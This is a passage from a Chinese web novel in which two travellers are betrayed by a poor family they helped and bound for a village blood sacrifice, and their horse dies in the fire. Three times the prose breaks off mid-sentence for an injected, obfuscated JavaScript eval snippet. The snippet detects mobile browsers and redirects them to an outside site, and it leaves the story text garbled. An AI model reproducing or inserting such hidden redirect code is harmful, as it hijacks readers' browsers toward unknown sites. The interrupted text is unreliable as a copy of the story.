“两位老人家这么可怜,又如此诚挚地对待我二人,我岂能见死不救啊?我若今日不救,日后回想起来,势必良心不安。” 贺岁愉气笑了,“那你也得有日后啊!” 她气得不轻,“你把身上的钱都给出去了,你明天开始不活了吗?” 赵九重憋着一口气,说道:“山中野物、野果这么多,咱们两个大男人靠什么不能活?到了城镇,届时我再想别的法子,总会有办法的。” “你别对别人的钱占有欲那么强。”说罢,他挣开了贺岁愉的手。 贺岁愉:“?” 好好好,姓赵的就该饿死! 这么不珍惜银子的人,老天奶能不能睁开眼看看,把这种人的银子都给她啊! 老伯想把银子还给赵九重,赵九重年轻力壮,一身的力气,根本没有给老伯还回来的机会。 “老人家,这是晚辈的一点心意,多谢您收留我兄弟二人,还如此尽心尽力地款待我们,这点儿银子虽然不多,但是您带令嫒赁一辆牛车,去镇子上看病抓药应当是足够了的。” 老伯十分惶恐,连连推拒,“哎啊,我如何能要您的钱啊!” “老人家,您就收下吧!”赵九重握住他干瘦的手,“希望令嫒的病早日康复。” 贺岁愉站在一旁看着,气呼呼地坐回桌子边,把碗里满当当的荠菜粟米羹和山笋三两口扒干净了,还多挑了两筷子凉拌荠菜,舀了一大勺山笋蘑菇汤。 既然赵九重都给过钱了,她多吃两口总没问题吧?毕竟,吃了这顿,都没有下顿了。 最终,老伯还是收下了赵九重的银子。毕竟,这银子对于他们一家来说,是救命钱。 老伯把里间的老妻和女儿都叫了出来,老婆婆和杏花姑娘听说赵九重给了治病的银子,都是既惶恐又惊喜,一家三口还要整整齐齐地给赵九重磕头。 赵九重一个人一双手根本拦不过来,扶了老泪纵横的老伯起来,老婆婆又跪下了,刚扶了老婆婆起来,泪流满面的杏花姑娘已经顿首而拜了。 贺岁愉坐在一边看着,心里有些酸酸的,反正颇不是滋味。 刚刚那一阵儿情绪过去以后,现下平静下来,看着这凄风苦雨的一家人,对于赵九重的行为,倒是多少有那么一丝理解了。 反正钱已经给出去了,她不理解也没办法。 现在只能寄希望于姓赵的说到做到,能带着她靠山中野物、野果活下去,然后到了城镇以后,再想别的法子活下去。 19. 愧疚 和老伯一家人一起用过了早饭,赵九重和贺岁愉重新踏上了路途。 他们原路返回会绕路,直接穿过这个村子,能更快地到下一座城池。于是,赵九重向老伯问了出村的路。 老伯颤颤巍巍地伸出手,给他们指了路,“沿着这条路直走,然后再左拐,然后经过一棵大槐树,右拐,再直走一段路就能出去了。” 赵九重和贺岁愉顺着老人家指的方向看过去,自然没有发现,老人家浑浊的双眼里飞快地闪过了一抹愧疚。 山间雾气迷蒙,鸟鸣声不绝于耳,在山林间此起彼伏,空气中弥漫着清新的草木和泥土的味道。 赵九重与老人家道别,牵着麒麟马和贺岁愉沿着山间的小路远去。 两人一马,越走越远,在山间的大雾里,二人的身影时隐时现。 老妪从屋子里出来,看见他们走的方向,脸色一变,一边一瘸一拐地往前走,一边张嘴“啊——啊——”地叫着,仿佛十分着急地想把他们二人追回来。 老伯连忙一把捂住了老妪的嘴。 老妪眼神中满是错愕地回过头,看着老伯。 老伯错开了眼,不愿意面对老妻无声的指责。 他浑浊的双眼里滚出热泪,“如果不是他们,就得是……” 他哽咽着说完,“是、我们的女儿了。” “咱们如今好不容易有了银子给杏花治病,杏花眼看着就能好起来了,你去把他们叫回来,到时候,杏花还是一样的没有活路……”话刚说完,老伯便已经用粗糙开裂的大掌捂面泣不成声。 老妪显然也是知道老伯在说些什么,视线落在地面沙石上,眼中涌出泪水。 “爹,你在说什么?” 忽然,一道虚弱的声音从两个老人家身后的茅屋里传出来。 老伯和老妪转头,看见了扶着墙站在他们身后几步远,满脸病容的杏花。 杏花瘦的脱相的脸颊上,一对黑色的眼睛格外大,此时那双眼睛里,正满是惊愕地看着他们。 杏花又问了一遍,声音里带着明显的颤音,“爹,你刚刚……在说什么?” “女儿啊,你怎么出来了?外面风大天寒,你还是进去休息吧……” 老伯一边说着话,一边往屋里走,想去扶杏花进屋,好转移她的注意力,将方才的事情糊弄过去。 但是杏花抓着墙不肯进屋,倔强地非要问个清楚。 老伯无奈,长叹一声,“造孽啊!” 然后老伯开口,将他们老两口隐瞒多日的事情说了出来。 最开始瞒着杏花,不过是他们心存希冀,觉得不到最后一刻,事情或有转机也未可知,而且杏花身体差成这个样子,老两口实在不忍心把这件残忍的事情告诉她,所以就这样瞒了下来。 未曾想,此事会以这样的方式被杏花得知。 杏花听罢,不顾虚弱的病体,立刻便要冲出去把刚刚离开的赵九重和贺岁愉找回来,但是太过着急,才走了两步就腿一软,摔倒在地。 老伯和老妪吓了一跳,连忙跑过去扶起杏花。 杏花在老两口的搀扶下站起来,用尽全力抓着老伯的手,“爹,我们不能这么做,该面对和承担此事的是我,不是他们,他们是无辜的啊!而且赵公子将身上的银钱悉数给我,让我治病,对我们恩重如山,我们怎么能……” 杏花瘦得过分,眼窝很深,说话时因为情绪激动,乌黑的双眼不自觉地瞪大,不免有几分可怖。 “咳咳咳……”杏花一句话还没有说完,就被猛烈的咳嗽打断了,她咳得上气不接下气。 “哇——”地一声呕出一口血来。 “杏花!”老伯惊呼道 “啊——啊——”老妪见女儿吐血,瞪大了眼睛,一脸慌张地尖声大叫着。 她抬起瘦得皮包骨头、且刚刚不小心被口中吐出的鲜血染红了的右手,颤颤巍巍地抓住了老伯的手,“爹,我们怎么能……能如此忘恩负义啊?” 短短一句话说得断断续续,声音像是从喉咙里逼出来的,含糊沙哑,稍不留神便听不清了。 老伯扶着杏花,痛哭流涕:“女儿啊,我们好不容易有了钱给你治病,怎么能再眼睁睁地看着你去死?” “你哥哥已经没了,你要是走了,我和你娘,我们两个老东西可怎么办呐!女儿啊,……”老伯哭得鼻涕一把泪一把。 老妪双眼含泪,脸上满是急切的神色,不停地给杏花打手势说些什么。 杏花看着年过四十,已经满脸皱纹、头发花白有如花甲老叟的老爹,再看向又瘸又哑,白发苍苍、瘦得不成样子的老娘。 自从她病倒以后,爹娘为她操了多少心,短短数月间,老了十岁不止。她不怕死,可她死后,她无人依靠的老父老母又该如何呢? 一阵刺骨的寒风迎面刮来,终于,杏花再也憋不住心底爆发的情绪,抱着母亲失声痛哭。 一家三口在寒冷的早晨抱团痛哭。 *** 清晨山中大雾,空气潮湿。 山间的路狭窄崎岖,高低起伏,有的路段从田间狭窄的田坎上穿过,甚至有的地方还要爬山从树木间穿过,骑马多有不便,所以他们只好牵着马慢慢走,准备上了大路再骑马。 在雾气中穿行,贺岁愉的头发都被雾气打湿了一些。 走了很远以后,途径几间挨在一起的破茅屋时,有村民从门口或窗户探出脑袋,小心翼翼地看着他们俩,眼睛黑黝黝的,一眨不眨,视线定定地跟着他们二人。 贺岁愉如芒在背,余光中看见了,只觉得颇为骇人。 这些人老盯着他们做什么? 她快走两步,赶上了前面大步向前的挺拔青年,伸手拽了拽赵九重的袖子,凑到他身边,压低声音说:“你觉不觉得他们有点奇怪?” 赵九重牵着马一心赶路,没有注意这么多,闻言,侧头看她,“哪里奇怪?” 贺岁愉摸了摸自己的胳膊,低声说:“阴森森的。” 赵九重回头看了一眼,正好和一个靠在门边的中年汉子对上了目光。 汉子面黄肌黑,脸上没有任何表情,一脸麻木,在和赵九重对视片刻后,迅速移开了目光。 赵九重眯了眯眼睛,是有点儿奇怪。 “也许是这个村子不欢迎外来者吧?”他如此推测。 贺岁愉费解:“那村头的老伯一家很热情啊,一个村子的,差距这么大?” “这个山村里的房屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977660|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 零零散散分散在山中各处,中间隔那么远,有些差距也正常。” 贺岁愉还是觉得很不安,注意力拔高时听力都格外敏锐了,小心翼翼地注意周身的风吹草动。 但是身后那些人也没有什么动静,好像只是静静地看着他们走远,没有做出她所怀疑的,突然冲上来之类的举动。 他们按照老伯指的路,一直走了很远,终于到达了老伯所说的那棵大槐树。 槐树周围有几间茅屋,但是都关着门,似乎没有人,周围也空空荡荡的,不像是有人住在这儿一块的样子。 看到大槐树,贺岁愉一直高高提起的心,稍微放下了一点。应该不会再走很远了,很快,他们就能走出这片奇怪的山村。 终于快要离开这个鬼地方了。她如此想到。 突然,从槐树下经过时,一不留神,脚底下被什么东西绊了一下。 贺岁愉身子不受控制地向前飞扑而去。 “啊——”她下意识叫了一声。 赵九重转过身来,就看见贺岁愉朝他扑过来,瞳孔一震,连忙伸手扶住了她。 因为贺岁愉来得突然,赵九重接住她时,她已经冲到了他面前,二人距离不到半尺。 赵九重低头一看,甚至能看到她过分纤长和卷翘的睫毛,根根清晰分明。 “你睫毛怎么长得跟姑娘似的?”他随口调侃一句。 贺岁愉被戳了痛脚,“你有病吧!” 她还怀着秘密,怕被看破,听到他的话,下意识紧张以致情绪有些过激。 赵九重以为贺岁愉是不高兴听他说她像个姑娘,挠了挠头,“我就随口一说,生这么大气做什么?” 贺岁愉从赵九重手下挣开,转过身来,气呼呼朝刚刚挡了她,害她差点摔跤的地方走过去,“什么东西?” 她走到了刚刚的地方,原本以为是槐树从地下冒出来的树根,打眼一看,却看见了被泥土半遮半掩露出来的一小节白乎乎的东西。 “这是什么?”贺岁愉用脚扒拉了几下,把表面的泥土扒到了一边。 那一小节白色的东西逐渐露出了全貌。 赵九重这时也走了过来,目光落在地上那一截白色的东西上。 “是骨头,”他瞳孔一震,“像是……人的指骨。” 贺岁愉抬起头脸,脸色一瞬间变得煞白。 一阵寒风刮过,她声音都跟着颤了一下:“你确定吗?” “九成把握。”赵九重语气笃定地说。 贺岁愉咽了咽口水,“那咱们快走吧。” 赵九重点了点头,也很赞同:“此地恐怕不简单,还是尽快离开得好。” 贺岁愉转身就跑,“别说这些废话了,赶紧跑吧!” 她刚一转身,茅屋后面突然冲出来一大群拿着锄头、镰刀、铁锹的村民。 贺岁愉看着这些各式各样的武器,止住了脚步,警惕地看着对面的这群人,“你们想做什么?” 人群散开一条缝隙,一个头发胡子雪白的老者杵着拐杖慢慢走出来,威严的目光逼视而来,苍老冷厉的声音响起:“你们两个外乡人,杀了人还想跑?” 贺岁愉:“???” 老东西,你在说什么? 20. 放血 “你们是不是误会了什么,我们就路过而已,这么短时间怎么可能……” 贺岁愉一开始还试图解释,看着这群拿着武器的村民,忽然想到,这么大一群人,突然跑过来不会没有一点动静。 他们是事先藏在茅屋后面的。 这些人早有预谋。 他们未必不知道她和赵九重根本没杀人,而是故意凭空捏造出这么一桩罪行,安在他们头上。 她的声音戛然而止,浑身像是竖起尖刺,警惕地看着面前这群凶神恶煞的村民。 “就是你们杀了人!”一个举着铁叉的男人情绪激动地说,“我亲眼看见你们杀了人!” 还不等贺岁愉二人说话,头发胡子雪白的村长便发了话,“抓住他们。” 村长的话一出,围住他们的几十个村民一拥而上,举着各式各样的武器扑了上来。 贺岁愉想往赵九重身后躲都没处躲,到处都是人,赵九重不但得留意攻击自己过来的人,还得时刻提防钻空子朝贺岁愉去的人。 纵然赵九重武功高强,但是也没有三头六臂,难防对方的人海战术,没多久,他们被人群冲散,贺岁愉人单力薄,微弱的反击被人群淹没,很快便被几个扑过来的村民抓住了。 赵九重见贺岁愉被抓住,心中一紧,正要过去解救她,经过槐树时,刚走了两步,猝不及防一张大网从槐树茂盛的枝叶间落下来,正好兜头罩住了赵九重。 他刚一被网困住,周围的村民便一拥而上,将赵九重按倒在地,七手八脚地迅速将赵九重五花大绑,让他动弹不得。 就这样,赵九重和贺岁愉连人带马一起落入了村民手中。 赵九重和贺岁愉二人被村民绑起来关进了槐树旁边的那间茅屋里,尤其是赵九重被绑得格外结实,麒麟马被他们拴在了茅屋外的破茅草棚子里。 贺岁愉被村民一把推进去,摔在湿冷的地上,村民们转身出去,还关上了门,隔绝了外面的光线。 贺岁愉被摔得头晕眼花,躺在地上用力挣扎了几下,被绳子勒得难受,忍不住骂骂咧咧:“绑这么紧做什么?勒死人了!一群黑心烂肺、睁眼说瞎话的刁民!空口白牙污蔑人,迟早要遭报应的!” 窗户被几块木板封死了,几缕外面的光线从木板的缝隙里透进来,屋子里弥漫着一股潮湿发霉的气味,墙角的泥缝里生了杂草,长出了几朵白色的小蘑菇。 她骂了半天,外面的人都没什么反应,把他们二人关在这里以后,便不搭理他们了。 过了会儿,贺岁愉费力地翻了个身,看向靠在墙角的赵九重,“你说他们抓咱们干什么?” 赵九重胳膊被铁锹砸伤,鲜血从伤口涌出,渗透了衣裳,沿着胳膊一直往下流,顺着指尖滴落到黄土中。 他的两只胳膊被反绞到身后绑在一起,鲜血顺着胳膊流到衣服上,染红了衣裳。 赵九重摇了摇头,“不知道。” 贺岁愉仰面躺在地上,看着结满蛛网的茅草屋顶,回想起清晨老伯送他们离开时有些躲避的眼神,越想越觉得不对劲。 “你说……村头的老伯和这些村民虽然住处隔了些距离,但到底是一个村子的,这些人做什么,村头的老伯不会全然不知情吧?” 贺岁愉脑海中又闪过槐树下露出半截儿的人骨,已经化成骨头了,说明人已经死了有些年头了。 “而且——”她语气凝重了几分,“你说老伯一家知不知道槐树下埋着的人骨?” 赵九重沉默不语,黑漆漆的眸子犹如一汪深潭,不知道在想些什么。 贺岁愉兀自琢磨了一会儿,猛地吐出一口浊气,气愤道:“他们肯定知道!” 她越想越觉得可疑,“今早那老头儿送咱们走的时候,都不敢和咱俩对视,绝对有问题!没准儿他给咱们指的路就有问题,所以咱们才会遇上如今这种麻烦。” 贺岁愉顿时有一种被背叛的气恼,抓狂道:“啊啊啊啊!被骗了!亏你个烂好心的,还把身上所有的银子都给了他女儿治病!死老头子坏得很!我看他女儿得了重病,没准儿就是他们造的孽太多了!报应到他女儿身上了!” 贺岁愉说着说着,被自己的口水呛住,气得直咳嗽,“咳咳咳……” 赵九重叹息一声,“省点力气歇会再骂,且先看看他们到底要做什么吧。” 贺岁愉躺着躺着,右眼皮跳个不停,心中越来越不安。 她想起了沧州城那群饿狼一样随时都有可能扑上来的乞丐,也想起了包子铺那伙凶神恶煞的人。 她恐惧地咽了咽口水,“你说,他们不会吃了咱们吧?” 说话时,贺岁愉又想起老伯家缺衣少食的模样,这个山村大概都和老伯家差不多,穷得吃了上顿没下顿,这样一想,他们俩被当做食物的可能性就更大了。 赵九重原本正在闭目养神,闻言,睁开了眼睛,慢慢扭头看向她,视线同贺岁愉的视线交汇。 “有可能。” 贺岁愉绝望地躺在地上。 一只黑色的蜘蛛从低矮的房梁上悬着丝慢慢垂落在她面前,离她不过一拳距离。 贺岁愉面如死灰,连躲都不躲,静静地和这只蜘蛛对视数秒,她鼻中呼出的气息直直吹过去,让被蛛丝牵引着的蜘蛛在空中转了个圈。 “呼——” 她猛力从口中吐出一口气,将蛛丝吹断,蜘蛛落在旁边的地上,飞快地爬走了。 没一会儿,便爬进墙角堆放的杂物中消失不见了。 贺岁愉磨了磨牙,咬牙切齿地说:“这样想来,还不如一开始就不进这个村子,在野外被野兽吃掉也比被人吃了强!” *** 时间一点一滴地过去,金乌西坠,天色渐渐暗了下来。 原本从门缝和窗户缝隙里透过来的光明消失了,屋子里一片黑暗,什么都看不见。 贺岁愉躺在地上,不知何时迷迷糊糊地睡过去了,直到听到开门的声音才悠悠转醒。 “阿嚏——阿嚏——” 夜里山中寒冷,她刚醒过来,就一连打了好几个喷嚏。 “吱呀——”老旧的木门被推开,几个村民举着点燃的火把,从外面走进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977661|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,径直朝贺岁愉走过来。 贺岁愉吓得直往后缩,火把照亮了她满是惊恐的脸。 但是她微弱的挣扎显然起不了任何作用,当他们走到她身旁时,她还是被一个男人像拎鸡崽子似的,从地上一把拎了起来。 抓着贺岁愉的男人语气嫌弃地说:“这小子这么轻,恐怕放不了几碗血啊。” 旁边的男人笑道:“旁边不是还有一个么!那个壮,肯定能放不少。” “要是原本用村头老曲头家的闺女,更放不出几碗血了。”有人感慨道。 贺岁愉听到男人的话,顿时眼神惊恐。 他说什么?放、放血?!! 她瞳孔地震,放谁的血?她的血吗! 她一时竟不知道,被放干血和刚刚猜测的被吃掉比起来,哪个更可怕了,但无疑两个都会令人痛不欲生、生不如死。 贺岁愉绝不甘心就这样任人宰割,她用尽全力,疯狂挣扎起来,手脚动不了以后,充分利用了还能活动的脑袋,一头撞到了男人的嘴上。 男人痛呼一声,将贺岁愉掼到地上,下意识去捂被撞疼了的嘴。 沾了血的口水从他嘴角流出来,他低头,“噗——”地吐出一口血水,混着血水吐出的,还有他的一颗门牙。 男人捂着半边腮帮子,声音含糊不清地破口大骂:“狗日的畜生,把老子的牙给撞掉了!” 旁边的几个村民拿火把一照,果然看见地上躺着一颗又黑又黄的大门牙,几人看热闹不嫌事大,都哈哈大笑起来。 男人被贺岁愉激怒,在同乡们的嘲笑声中,扬起手狠狠扇了贺岁愉一耳光,“小杂种,敢撞老子?看老子不弄死你!” “啪——”的一声,贺岁愉的头都被扇得偏到了一边,嘴角流出黏腻的鲜血。 贺岁愉被这一巴掌扇得耳中嗡鸣一片。 “你有气冲我来!”赵九重见状,急得出声喝道。 男人回过头来对赵九重说:“急什么?少不了你挨打的时候!” 男人狠狠扇了贺岁愉一耳光仍然不解气,又重重踢了躺在地上的贺岁愉一脚。 贺岁愉登时惨叫一声。 “住手!”赵九重着急大喊,贺岁愉那个瘦小身板可挨不了几下。 眼看男人就要再踢贺岁愉一脚,赵九重猛地从男人背后蹿起来,即便被绳子绑得像只蚕蛹,但是仍然能狠狠向男人撞去。 赵九重带着那人一起撞到了对面的土墙上,男人被重重砸在土墙上,发出一声杀猪般的惨叫。 土墙上的泥块沙石“扑簌簌——”往下掉。 其余几个村民见状,连忙上前给男人帮忙,其中好几个也被赵九重撞翻在地,最终几人齐心协力才一起将赵九重重新按倒在地。 几人气得不轻,好几个人都鼻青脸肿的。 他们本来想恶狠狠再揍赵九重和贺岁愉二人一顿出气,刚要动手,外面突然有一个人在门口喊:“你们几个押两个绑着的人怎么这么慢?村长在催了,叫你们赶紧带着他们出去!” 几个预备动手的村民这才作罢。 21. 活祭 贺岁愉被压到外面,一抬头,看见了槐树下不远处架起的篝火。 那堆篝火堆了许多木柴,架得极高极大,火光冲天,将附近照得亮如白昼,熊熊燃烧的赤色火焰不时炸开响亮的“噼啪”声。 有几个穿着奇异宽大的服饰、带着狰狞面具的人,围着篝火又唱又跳,他们大幅度摆动着身体,唱着某种听不懂但能感受得到旋律十分古老和神秘的歌谣。 火光照亮了他们脸上形状古怪、彩绘着神秘图案的面具,连同他们斑斓的服饰,无端让人心生恐惧。 贺岁愉心头涌上浓重的不安。 她脸上的伤和背上的伤都疼得厉害,身后的男人粗暴地推搡着她,像赶羊一样把她往篝火处赶去。 篝火后面搭起了一块高台,高台上高高竖着两个粗壮的木桩子,木桩子上依稀能看出大片暗红色的血迹。 不知过往有多少人,曾被绑在这个桩子上,被利刃隔开皮肉血管。 雪白的刀子深深没入鲜红的皮肉,顿时鲜血飞溅,“噗——”的一声喷在后面的木桩子上,血液渗透进木头里,深深落下血色的印记,历经雨打风吹依旧清晰可见。 不知道有多少条无辜的性命在这里惨烈终结,像牲畜一样,被架在高台上,毫无尊严地死在同类的屠刀下。 贺岁愉和赵九重二人被押到高台上的木桩子上绑着,比拇指还粗的粗糙麻绳将他们二人绑得结结实实,丝毫没有可以活动的空隙,勒得贺岁愉喘不过气来。 她深深呼吸一口,却闻到了木桩子上浓烈刺鼻的血腥气,恶心感从胸口升腾而上,她控制不住地一阵干呕,呕得眼中泪花都涌出来了。 火光照耀在她的脸上,炽热的火焰灼烤着她的脸庞,温度逐渐攀升,不一会儿,便将她的脸烘烤得绯红滚烫。 脸上还未好全的冻疮,仿佛都要被烤化了一般,约莫是被烤开裂了,又痛又让人瘙痒无比,流出带着血丝的黏稠脓水来,黏腻的液体顺着脸颊流下来,一点一点地往下滴。 看到眼前的诡异场景,她想起方才那群村民们所说的放血,心中已经清楚,面前这恐怕是一场祭祀之类的活动。 先时人们蒙昧,尤其是深山老林中的人,更可能会迷信巫祝之事。 放在如今这个背景下,他们拿活人祭祀再正常不过了。 贺岁愉浑身一凛,无法接受自己被放干血死去的惨状。 两个一脸凶相的汉子拿着雪白的刀子,走上高台,站到了贺岁愉和赵九重的身后。 跳跃的火苗映照在亮锃锃的刀面上。 贺岁愉余光瞄了一眼,被刀子晃了眼,忍不住闭上了眼睛。 这就是待会儿要动手割他们肉放血的人?光是看着这把刀子,她就已经提前开始感觉到浑身都痛了。 贺岁愉微微侧头,焦急地低声问:“姓赵的,怎么办啊?” 赵九重不知道在干什么,神色倒是很镇定,“别着急。” 贺岁愉暴怒:“说的什么废话!马上就要死了,我怎么能不急?” 赵九重没说话了。 也不知道姓赵的是不是活腻歪想死了,还是真的泰山崩于前而面不改色,事到如今,竟然一点儿也不着急。 贺岁愉更生气了。 *** 突然,前面一阵喧闹,赵九重的马也被村民们牵到了篝火旁。 那马不愿意出来,被村民拿着鞭子狠狠抽了一鞭子,麒麟恼怒,一撂后蹄狠狠将那人踢飞出去。 挥鞭子的男人惨叫一声,砸在地上发出一声巨响。 其他几个村民见挥鞭子的男人被马踢飞出去,顿时,一拥而上,拿粗麻绳乱七八糟地捆了马。 麒麟马被束缚四蹄,“砰——”一声倒在地上,砸起一阵尘土从地而起,密密麻麻飞扑在空气中。 村民们拖着马朝篝火处走来。 麒麟马倒在地上,被粗暴地拖着走,正好面朝着贺岁愉和赵九重二人。 它的眼睛一动不动地盯着赵九重,黑色的眼睛里闪过盈盈泪光,它或许意识到了自己即将迎来的结局,仰头高声嘶鸣,声音凄楚哀伤。 一直不知道在忙什么的赵九重忽然绷紧了身体,仿佛极压抑似的,低沉地喊了一声:“麒麟……” 麒麟的身体蹭在地上,还被尖锐的石子刮出了几道血淋淋的伤口,在它身后,被拖行出一条深深的痕迹。 地面上的这条痕迹,干燥的旧土被蹭开,露出略带着湿意的新土的痕迹。 旁边霍霍磨刀的汉子停了手,抹了一把额头的汗水,擦了擦手,朝村民们拖过来的马走了过去。 麒麟马被拖到篝火前。 忽然,面前的人群中传来“笃——笃——笃——”的声音。 人群散开,被白发白眉的老村长杵着拐杖,颤巍巍地从人群中走出来,拐杖落在地上发出富有节奏的清脆声响。 围着篝火又唱又跳的巫觋(xí)忽然停住,把身体摆成奇怪的动作,口中发出凄厉怪叫。 很快,几个巫觋虔诚地低下头,口中念念有词,一个个古怪的音节从他们口中流泻而出,密密麻麻听不懂的语言落进贺岁愉的耳朵里,让她不免想起苍蝇。 火焰猛地蹿起来。 火光明亮,照亮了贺岁愉乌黑的瞳孔,在她眼中仿佛也聚起星星点点的细碎火光,眼底隐隐涌动着不屈的意味,以及对生的渴望。 村长慢慢走到了最前面,在篝火前停住脚步,他转过身来,面朝熙熙攘攘的村民们,一张满是皱纹的脸上充满了虔诚和敬意。 村长举起双手,虔诚高呼道:“拜——” 苍老悠长的声音在山林间回荡,黑压压的村民们齐齐朝着祭台虔诚地跪下去,在黑夜的笼罩下,就像地里冒了半截在土外的,一片齐刷刷的萝卜。 篝火燃烧得愈盛了,贺岁愉被炙烤得皮肤发烫,额头上汗珠大颗大颗往下流,被火光刺得几乎睁不开眼睛。 她费力地睁开眼睛,黑黝黝的眼珠中满是怨气与憎恨,视线扫过下面整整齐齐跪了一大片的村民。 划过最右边的角落时,她的视线顿住了,眼睛一眨不眨,紧紧地盯着略有些黑暗的角落里跪着的那个老头儿。 他佝偻着身子,几乎缩成了一团,仿佛在极力降低存在感。 贺岁愉一眼就认出了,是住在村口、热情招待他们,给他们指路的老伯。 别的人都一脸虔诚和痴迷地看着明亮神圣的火焰,只有他畏畏缩缩地跪在黑暗的角落中,头上的白发蓬杂如野草一般,头颅垂得很低,几乎要深深埋进地里去。 贺岁愉双眼血红,恶狠狠地盯着他,锐利的目光如利剑一般直直射过去,几乎要在他身上盯出个窟窿。 但老头儿始终没有抬头。 为何不敢抬头,不敢看她和赵九重,他害他们至此,竟然也会愧疚么? 她今晚要是死在这里了,她化成厉鬼,如果这世上真的有鬼的话,她绝对不会放过这一村子的人,尤其不会放过这恩将仇报的的该死老头子。 *** 祭祀仍在继续, 村长转过身来,跪在人群的前面,振声道:“供奉祭品——” 一个戴着面具、穿着比别的巫觋更华丽一些的巫觋手拿香烛在篝火上点燃,嘴巴飞快地张张合合,口中念念有词,另一只手拿着一沓黄纸,朝被死死绑着、倒在地上无力挣扎的赤色大马走去。 行动间,他身上挂着的各种造型奇异古怪的装饰不停地发生碰撞,叮呤当啷作响,混合着火焰燃烧的杂音,以及火焰偶尔炸开的“噼啪”声,像是穿越时空而来的古老神秘的声音。 巫觋点燃黄纸,在马身上抖了三下,黑色的香灰落下,落在了马油顺光滑的皮毛上。 然后,他将快要燃尽的黄纸放在地上。 黄纸很快便烧得一干二净,山间刮起一阵阴风,将地上的黄纸燃尽的一小堆香灰吹到了高台上。 贺岁愉下意识闭上了眼睛。 浓重刺鼻的香灰气钻进她的鼻腔,呛得她有些难受。 巫觋拿着手上的三支香,围绕着麒麟又唱又跳地转了一圈,声音忽大忽小,一会儿仿佛在精神昂扬地高声歌颂什么,一会儿又仿佛在与空气中的什么低喃细语。 贺岁愉看见他古怪的动作,不禁后背一阵发凉,简直瘆得慌。 那巫觋围绕着麒麟跳了一圈以后,又跳到了高台上,绕到了贺岁愉和赵九重的身后。 他不停地跳啊跳,踩得搭台子的木板咚咚作响。 巫觋先围着贺岁愉转了一圈,贺岁愉从未如此近距离地看过这么古怪的面具,尤其当它被火光照亮时,青面獠牙,面目狰狞,骇人极了。 贺岁愉忍不住紧紧闭上了眼睛,如果不是手不能动,她恨不得连耳朵都一并堵上。 巫觋围着贺岁愉转了一圈,又丁零当啷跳到了赵九重身后。 贺岁愉下意识转头看了他一眼。 不知为何,她总觉得赵九重看起来似乎有点儿紧张,虽然他脸上没什么表情,但是经过这么些日子的相处,她还是能隐约感觉得出来。 贺岁愉心中诧异,他不是连死都不怕么?怎么这么轻易就被面前这个又唱又跳的老巫师吓到了? 巫觋围绕着他们跳完了以后,忽然“呼——”一声从口中猛地喷出一道粗壮的火焰来,差一点燎到贺岁愉的头发。 贺岁愉吓得一个激灵。 贺岁愉:“……” 即便去死,也真的不能体面一点吗?她不想顶着一头烧焦了的头发凄惨死去。 巫觋喷出火焰后,站在马儿身后那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977662|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个拿刀的汉子拿出一块白布,擦了擦雪白的大刀,然后高高举起大刀,直至将其举过头顶。 赵九重脸色一变,顿时疯狂地挣扎起来,“麒麟!麒麟!” 可惜,即便他再怎么用力挣扎,仍然无济于事,他依旧被死死地被绑在木桩子上,只能无力地眼睁睁看着,亲眼目睹面前即将发生的一切。 贺岁愉脸上的表情也凝重下来,定定地盯着不远处的马儿。 麒麟马卧在地上,引颈长啸一声,嘶鸣声响彻山岭。 它的眼睛像晶莹剔透的黑宝石,晶莹的泪珠从它的眼睛里滚滚而下,它大而明亮的双眼,映照出火焰,就像被火光点燃。 在汉子的刀落下的前一刻,它忽然奋起,猛地朝那堆被架得高高的篝火直直冲过去。 顿时,架起篝火的木柴纷纷被撞飞出去,带着火焰四处飞溅。 “啊——啊——” 尖叫声四起,周围的巫觋有的反应不及被正好被燃烧的木柴砸中,有的被点燃了衣裳跌坐在地,连滚带爬地逃离。 跪在人群最前面的老村长以及一众村民也始料未及,慌忙避开。 人群逃窜,乱作一团。 有的村民一边跑,一边不忘在口中喃喃道:“遭了!恐怕要触怒神上了!” 在篝火四溅的同时,只听得高台下一声凄厉惨叫,麒麟马引颈长嘶、泪水滚滚。 它冲过来的力度太大,撞飞篝火后径直穿过火焰,“砰——”一声砸在高台的根基处,木板搭建的台子跟着猛烈地晃了一下,垮塌了一多半。 它脖颈处,长长的赤色马鬃燃起熊熊火焰。 眨眼间,它身上的皮毛大都已经被火焰吞没,火焰在它身上炸开“噼里啪啦”的声音,像是油脂燃烧的声响。 麒麟水灵灵的黑色眼睛大睁着,隔着数十步距离定定地看着赵九重,在发出几声微弱的呻/吟后,便闭上了眼睛,静静地趴在地上,没再发出任何动静。 “麒麟……”赵九重痛苦地喊了一声。 